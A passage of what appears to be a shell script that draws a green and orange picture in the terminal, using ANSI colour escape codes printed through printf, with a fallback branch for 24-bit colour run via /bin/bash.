\e[38;5;255m▄\e[48;5;15m\e[38;5;250m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;238m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;2m▄\e[48;5;255m\e[38;5;2m▄\e[48;5;255m\e[38;5;64m▄\e[48;5;254m\e[38;5;70m▄\e[48;5;188m\e[38;5;70m▄\e[48;5;253m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;64m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;251m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;236m \e[0m - \e[48;5;71m \e[38;5;233m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;238m\e[38;5;76m▄\e[48;5;65m\e[38;5;76m▄\e[48;5;236m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;240m\e[38;5;76m▄\e[48;5;145m\e[38;5;76m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;145m▄\e[48;5;15m\e[38;5;254m▄\e[48;5;15m \e[48;5;242m\e[38;5;251m▄\e[48;5;236m\e[38;5;235m▄\e[0m - \e[48;5;65m\e[38;5;232m▄\e[48;5;235m\e[38;5;64m▄\e[48;5;70m \e[48;5;76m \e[48;5;2m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;242m\e[38;5;76m▄\e[48;5;254m\e[38;5;64m▄\e[48;5;15m\e[38;5;234m▄\e[48;5;15m\e[38;5;243m▄\e[48;5;15m\e[38;5;253m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;233m \e[0m - \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;28m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;102m\e[38;5;236m▄\e[48;5;250m\e[38;5;235m▄\e[48;5;233m\e[38;5;232m▄\e[0m - \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m \e[48;5;236m \e[48;5;238m \e[48;5;236m\e[0m - \e[48;5;232m\e[38;5;236m▄\e[48;5;236m\e[38;5;233m▄\e[48;5;64m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[38;5;64m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;233m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m \e[38;5;235m▄\e[0m - \e[48;5;71m \e[48;5;232m\e[38;5;65m▄\e[48;5;64m\e[38;5;233m▄\e[48;5;76m \e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[48;5;0m\e[38;5;70m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;70m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;236m \e[48;5;237m\e[38;5;238m▄\e[48;5;234m\e[38;5;235m▄\e[0m - \e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;64m\e[38;5;232m▄\e[48;5;76m \e[48;5;77m\e[38;5;76m▄\e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[38;5;77m▄\e[48;5;77m \e[48;5;76m \e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[48;5;71m\e[38;5;77m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m\e[38;5;237m▄\e[48;5;237m\e[38;5;234m▄\e[0m - \e[48;5;71m \e[48;5;232m\e[38;5;239m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;64m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m - \e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;232m\e[38;5;235m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;236m▄\e[48;5;236m \e[48;5;237m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m - \e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;232m\e[38;5;65m▄\e[48;5;70m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;22m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;70m\e[38;5;236m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m\e[38;5;233m▄\e[0m - \e[38;5;233m▀\e[48;5;71m\e[38;5;232m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;2m\e[38;5;235m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;236m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;22m\e[38;5;238m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[0m - \e[48;5;65m\e[38;5;238m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;238m▄\e[48;5;65m\e[38;5;234m▄\e[48;5;70m\e[38;5;232m▄\e[48;5;77m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;235m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;237m▄\e[0m - \e[38;5;232m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;234m▀\e[38;5;239m▀\e[0m - \e[38;5;234m▀\e[38;5;236m▀\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;65m\e[38;5;243m▄\e[0m\e[38;5;233m▀\e[38;5;235m▀\e[0m - \e[38;5;242m▀\e[38;5;233m▀\e[38;5;232m▀\e[38;5;234m▀\e[38;5;236m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;65m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;237m▄\e[48;5;237m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;232m▀\e[38;5;232m▀\e[38;5;59m▀\e[0m -'"; - else - if [ -f "/bin/bash" ]; then - /bin/bash -c "printf ' - \e[38;2;26;43;21m▄\e[38;2;58;91;50m▄\e[48;2;116;117;116m\e[38;2;68;119;56m▄\e[48;2;98;98;98m\e[38;2;86;143;70m▄\e[48;2;98;98;98m\e[38;2;100;153;87m▄\e[48;2;63;65;63m\e[38;2;102;164;86m▄\e[48;2;46;49;44m\e[38;2;98;168;79m▄\e[48;2;43;45;43m\e[38;2;91;155;75m▄\e[48;2;61;62;61m\e[38;2;78;137;63m▄\e[48;2;102;101;102m\e[38;2;64;112;52m▄\e[0m\e[38;2;38;67;32m▄\e[38;2;20;35;16m▄\e[38;2;10;20;8m▄\e[38;2;15;21;13m▄\e[0m - \e[38;2;49;80;41m▄\e[38;2;73;133;59m▄\e[48;2;20;21;20m\e[38;2;91;163;72m▄\e[48;2;14;27;12m\e[38;2;96;174;76m▄\e[48;2;51;92;41m\e[38;2;98;177;78m▄\e[48;2;86;155;68m\e[38;2;98;177;78m▄\e[48;2;96;173;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;97;175;76m\e[38;2;98;177;78m▄\e[48;2;93;168;74m\e[38;2;98;177;78m▄\e[48;2;99;163;83m\e[38;2;97;177;77m▄\e[48;2;99;151;86m\e[38;2;98;177;78m▄\e[48;2;35;57;29m\e[38;2;98;176;78m▄\e[48;2;19;21;19m\e[38;2;94;169;75m▄\e[0m\e[38;2;70;125;56m▄\e[0m - \e[38;2;42;65;36m▄\e[38;2;62;106;52m▄\e[48;2;94;95;94m\e[38;2;86;152;70m▄\e[48;2;57;72;53m\e[38;2;96;174;77m▄\e[48;2;57;96;47m\e[38;2;98;177;78m▄\e[48;2;78;136;62m\e[38;2;98;177;78m▄\e[48;2;95;167;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;77m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m\e[38;2;76;137;60m▄\e[48;2;98;177;78m\e[38;2;54;97;42m▄\e[48;2;99;179;79m\e[38;2;39;71;30m▄\e[48;2;100;181;79m\e[38;2;35;60;30m▄\e[48;2;101;181;81m\e[38;2;42;66;37m▄\e[48;2;100;177;80m\e[38;2;52;73;45m▄\e[48;2;95;175;76m\e[38;2;47;75;40m▄\e[48;2;94;178;73m\e[38;2;41;75;33m▄\e[48;2;98;179;78m\e[38;2;42;73;34m▄\e[48;2;99;180;79m\e[38;2;40;70;33m▄\e[48;2;99;179;78m\e[38;2;44;75;36m▄\e[48;2;97;177;77m\e[38;2;55;93;46m▄\e[48;2;97;176;77m\e[38;2;65;113;52m▄\e[48;2;98;177;78m\e[38;2;79;141;63m▄\e[48;2;98;177;78m\e[38;2;93;166;75m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;94;170;75m\e[38;2;98;177;78m▄\e[48;2;71;128;56m\e[38;2;98;177;78m▄\e[48;2;34;56;28m\e[38;2;97;175;77m▄\e[48;2;64;66;64m\e[38;2;78;140;62m▄\e[0m - \e[48;2;66;112;54m\e[38;2;98;177;78m▄\e[48;2;80;133;66m\e[38;2;98;177;78m▄\e[48;2;95;162;76m\e[38;2;98;177;78m▄\e[48;2;96;171;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m\e[38;2;96;174;76m▄\e[48;2;98;177;78m\e[38;2;74;130;59m▄\e[48;2;98;176;78m\e[38;2;32;49;27m▄\e[48;2;95;166;76m\e[38;2;18;29;15m▄\e[48;2;73;126;59m\e[38;2;65;113;53m▄\e[48;2;40;62;34m\e[38;2;107;209;83m▄\e[48;2;23;43;19m\e[38;2;77;220;42m▄\e[48;2;32;72;22m\e[38;2;72;218;36m▄\e[48;2;55;155;30m\e[38;2;73;217;37m▄\e[48;2;71;203;38m\e[38;2;73;217;37m▄\e[48;2;79;212;46m\e[38;2;73;218;37m▄\e[48;2;81;216;48m\e[38;2;73;218;37m▄\e[48;2;82;220;48m\e[38;2;73;218;37m▄\e[48;2;79;221;44m\e[38;2;73;218;37m▄\e[48;2;76;219;40m\e[38;2;73;218;37m▄\e[48;2;76;218;40m\e[38;2;73;218;37m▄\e[48;2;75;213;41m\e[38;2;73;218;37m▄\e[48;2;79;203;48m\e[38;2;73;218;37m▄\e[48;2;76;175;52m\e[38;2;73;218;37m▄\e[48;2;52;127;33m\e[38;2;73;218;37m▄\e[48;2;29;75;18m\e[38;2;73;217;37m▄\e[48;2;19;45;12m\e[38;2;73;218;36m▄\e[48;2;45;74;38m\e[38;2;65;196;33m▄\e[48;2;76;127;62m\e[38;2;44;132;24m▄\e[48;2;90;158;72m\e[38;2;16;45;10m▄\e[48;2;97;175;77m\e[38;2;28;50;22m▄\e[48;2;98;177;78m\e[38;2;80;145;64m▄\e[48;2;98;177;78m\e[38;2;97;175;77m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;97;173;78m\e[38;2;98;177;78m▄\e[48;2;69;114;56m\e[38;2;98;177;78m▄\e[48;2;30;38;28m\e[38;2;103;179;83m▄\e[0m\e[38;2;99;149;87m▄\e[0m - \e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;83;150;66m▄\e[48;2;98;177;78m\e[38;2;44;80;34m▄\e[48;2;99;179;78m\e[38;2;33;49;28m▄\e[48;2;87;159;69m\e[38;2;68;97;61m▄\e[48;2;46;84;37m\e[38;2;87;165;68m▄\e[48;2;25;37;21m\e[38;2;83;208;52m▄\e[48;2;59;131;42m\e[38;2;73;219;37m▄\e[48;2;74;199;43m\e[38;2;74;223;37m▄\e[48;2;72;213;38m\e[38;2;67;204;35m▄\e[48;2;73;218;37m\e[38;2;55;171;29m▄\e[48;2;72;218;36m\e[38;2;59;136;22m▄\e[48;2;72;218;36m\e[38;2;103;132;15m▄\e[48;2;73;219;37m\e[38;2;149;133;9m▄\e[48;2;72;220;37m\e[38;2;168;130;7m▄\e[48;2;73;220;37m\e[38;2;167;118;5m▄\e[48;2;72;218;37m\e[38;2;106;78;4m▄\e[48;2;69;210;36m\e[38;2;93;69;4m▄\e[48;2;66;199;34m\e[38;2;173;117;4m▄\e[48;2;63;192;32m\e[38;2;177;119;4m▄\e[48;2;62;186;32m\e[38;2;173;116;4m▄\e[48;2;61;186;31m\e[38;2;176;115;4m▄\e[48;2;63;191;32m\e[38;2;174;115;4m▄\e[48;2;67;202;34m\e[38;2;170;113;4m▄\e[48;2;70;213;36m\e[38;2;180;118;3m▄\e[48;2;72;219;37m\e[38;2;175;117;4m▄\e[48;2;73;220;37m\e[38;2;154;120;7m▄\e[48;2;73;220;37m\e[38;2;80;94;11m▄\e[48;2;73;219;37m\e[38;2;48;93;15m▄\e[48;2;73;218;37m\e[38;2;41;112;19m▄\e[48;2;72;215;36m\e[38;2;45;144;25m▄\e[48;2;64;192;32m\e[38;2;63;191;32m▄\e[48;2;32;99;16m\e[38;2;73;218;37m▄\e[48;2;21;41;16m\e[38;2;72;210;38m▄\e[48;2;38;66;30m\e[38;2;67;177;41m▄\e[48;2;79;141;63m\e[38;2;53;123;36m▄\e[48;2;98;178;78m\e[38;2;32;57;25m▄\e[48;2;98;179;77m\e[38;2;25;46;20m▄\e[48;2;97;177;77m\e[38;2;56;100;46m▄\e[48;2;98;177;78m\e[38;2;93;165;75m▄\e[48;2;97;176;77m\e[38;2;100;181;80m▄\e[48;2;98;177;77m\e[38;2;97;176;76m▄\e[48;2;97;176;78m\e[38;2;98;177;78m▄\e[48;2;99;174;79m\e[38;2;98;177;78m▄\e[0m - \e[48;2;98;178;78m\e[38;2;46;76;38m▄\e[48;2;100;178;80m\e[38;2;50;69;45m▄\e[48;2;99;176;80m\e[38;2;35;46;33m▄\e[48;2;82;148;65m\e[38;2;7;9;6m▄\e[48;2;64;117;50m\e[38;2;35;54;30m▄\e[48;2;42;77;34m\e[38;2;52;107;39m▄\e[48;2;26;46;21m\e[38;2;80;194;52m▄\e[48;2;34;71;26m\e[38;2;73;216;38m▄\e[48;2;54;133;35m\e[38;2;67;192;32m▄\e[48;2;81;199;52m\e[38;2;81;158;23m▄\e[48;2;80;218;46m\e[38;2;100;110;11m▄\e[48;2;66;199;33m\e[38;2;152;98;2m▄\e[48;2;60;157;26m\e[38;2;220;129;1m▄\e[48;2;80;128;18m\e[38;2;251;145;0m▄\e[48;2;120;110;9m\e[38;2;255;147;0m▄\e[48;2;154;106;4m\e[38;2;255;147;0m▄\e[48;2;181;114;2m\e[38;2;255;147;0m▄\e[48;2;230;134;0m\e[38;2;255;147;0m▄\e[48;2;251;144;0m\e[38;2;255;147;0m▄\e[48;2;254;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;163;94;0m\e[38;2;134;78;0m▄\e[48;2;2;1;0m\e[38;2;58;33;0m▄\e[48;2;13;7;0m\e[38;2;133;76;0m▄\e[48;2;64;38;0m\e[38;2;12;7;0m▄\e[48;2;250;144;0m\e[38;2;234;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;146;0m\e[38;2;255;147;0m▄\e[48;2;239;143;2m\e[38;2;255;147;0m▄\e[48;2;223;131;1m\e[38;2;255;147;0m▄\e[48;2;192;120;2m\e[38;2;255;147;0m▄\e[48;2;130;96;5m\e[38;2;255;147;0m▄\e[48;2;82;88;9m\e[38;2;255;148;0m▄\e[48;2;62;104;15m\e[38;2;247;147;1m▄\e[48;2;49;132;22m\e[38;2;212;134;3m▄\e[48;2;57;165;32m\e[38;2;144;95;3m▄\e[48;2;53;117;38m\e[38;2;74;61;8m▄\e[48;2;50;97;39m\e[38;2;47;60;21m▄\e[48;2;35;56;29m\e[38;2;47;81;33m▄\e[48;2;17;22;15m\e[38;2;20;34;19m▄\e[48;2;31;50;26m\e[38;2;48;73;42m▄\e[48;2;55;90;47m\e[38;2;37;56;33m▄\e[48;2;78;132;64m\e[38;2;21;31;18m▄\e[48;2;95;167;78m\e[38;2;18;26;16m▄\e[0m - \e[48;2;48;74;43m\e[38;2;51;78;45m▄\e[48;2;48;74;43m\e[38;2;50;76;44m▄\e[48;2;46;71;42m\e[38;2;12;17;11m▄\e[48;2;32;54;28m\e[38;2;45;93;35m▄\e[48;2;58;112;46m\e[38;2;26;45;17m▄\e[48;2;55;130;37m\e[38;2;121;83;5m▄\e[48;2;57;133;27m\e[38;2;232;138;0m▄\e[48;2;101;96;8m\e[38;2;253;146;0m▄\e[48;2;200;118;1m\e[38;2;254;147;0m▄\e[48;2;248;144;0m\e[38;2;255;147;0m▄\e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;173;100;0m\e[38;2;210;122;0m▄\e[48;2;172;100;0m\e[38;2;76;44;0m▄\e[48;2;214;123;0m\e[38;2;153;88;0m▄\e[48;2;36;21;0m\e[38;2;162;94;0m▄\e[48;2;201;116;0m\e[38;2;20;12;0m▄\e[48;2;254;147;0m\e[38;2;238;137;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;241;143;1m\e[38;2;255;147;0m▄\e[48;2;213;125;0m\e[38;2;255;147;0m▄\e[48;2;117;73;3m\e[38;2;252;147;1m▄\e[48;2;25;36;21m\e[38;2;94;69;18m▄\e[48;2;50;77;44m\e[38;2;39;59;33m▄\e[48;2;51;78;45m \e[48;2;51;78;44m\e[38;2;51;78;45m▄\e[0m - \e[48;2;51;78;45m\e[38;2;50;76;44m▄\e[48;2;40;58;34m\e[38;2;43;36;13m▄\e[48;2;38;37;6m\e[38;2;240;143;2m▄\e[48;2;149;95;6m\e[38;2;254;147;0m▄\e[48;2;226;134;1m\e[38;2;255;147;0m▄\e[48;2;253;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;243;140;0m▄\e[48;2;116;67;0m\e[38;2;90;52;0m▄\e[48;2;237;137;0m\e[38;2;254;147;0m▄\e[48;2;248;143;0m\e[38;2;255;147;0m▄\e[48;2;250;144;0m\e[38;2;255;147;0m▄\e[48;2;45;25;0m\e[38;2;191;110;0m▄\e[48;2;64;36;0m\e[38;2;32;18;0m▄\e[48;2;245;141;0m\e[38;2;152;87;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;230;140;6m\e[38;2;254;147;0m▄\e[48;2;25;21;7m\e[38;2;143;86;2m▄\e[48;2;48;74;42m\e[38;2;39;60;34m▄\e[48;2;51;78;45m \e[0m - \e[48;2;41;63;37m\e[38;2;40;47;23m▄\e[48;2;119;70;1m\e[38;2;230;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;180;104;0m\e[38;2;120;68;0m▄\e[48;2;135;78;0m\e[38;2;158;91;0m▄\e[48;2;255;147;0m\e[38;2;250;145;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;146;0m▄\e[48;2;252;145;0m\e[38;2;209;120;0m▄\e[48;2;54;31;0m\e[38;2;61;35;0m▄\e[48;2;94;54;0m\e[38;2;159;91;0m▄\e[48;2;254;146;0m\e[38;2;244;140;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;240;144;1m\e[38;2;255;147;0m▄\e[48;2;36;40;18m\e[38;2;70;49;6m▄\e[48;2;50;78;45m\e[38;2;45;69;40m▄\e[0m - \e[48;2;65;48;9m\e[38;2;98;64;6m▄\e[48;2;255;149;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;254;146;0m▄\e[48;2;225;130;0m\e[38;2;175;100;0m▄\e[48;2;210;120;0m\e[38;2;253;146;0m▄\e[48;2;209;121;0m\e[38;2;254;147;0m▄\e[48;2;86;49;0m\e[38;2;189;109;0m▄\e[48;2;254;146;0m\e[38;2;142;81;0m▄\e[48;2;255;147;0m\e[38;2;102;59;0m▄\e[48;2;199;115;0m\e[38;2;69;40;0m▄\e[48;2;244;141;0m\e[38;2;238;138;0m▄\e[48;2;253;146;0m\e[38;2;184;105;0m▄\e[48;2;200;115;0m\e[38;2;231;134;0m▄\e[48;2;253;147;0m\e[38;2;254;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;149;98;7m\e[38;2;215;132;5m▄\e[48;2;35;54;32m\e[38;2;31;42;22m▄\e[0m - \e[48;2;133;82;3m\e[38;2;153;89;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m 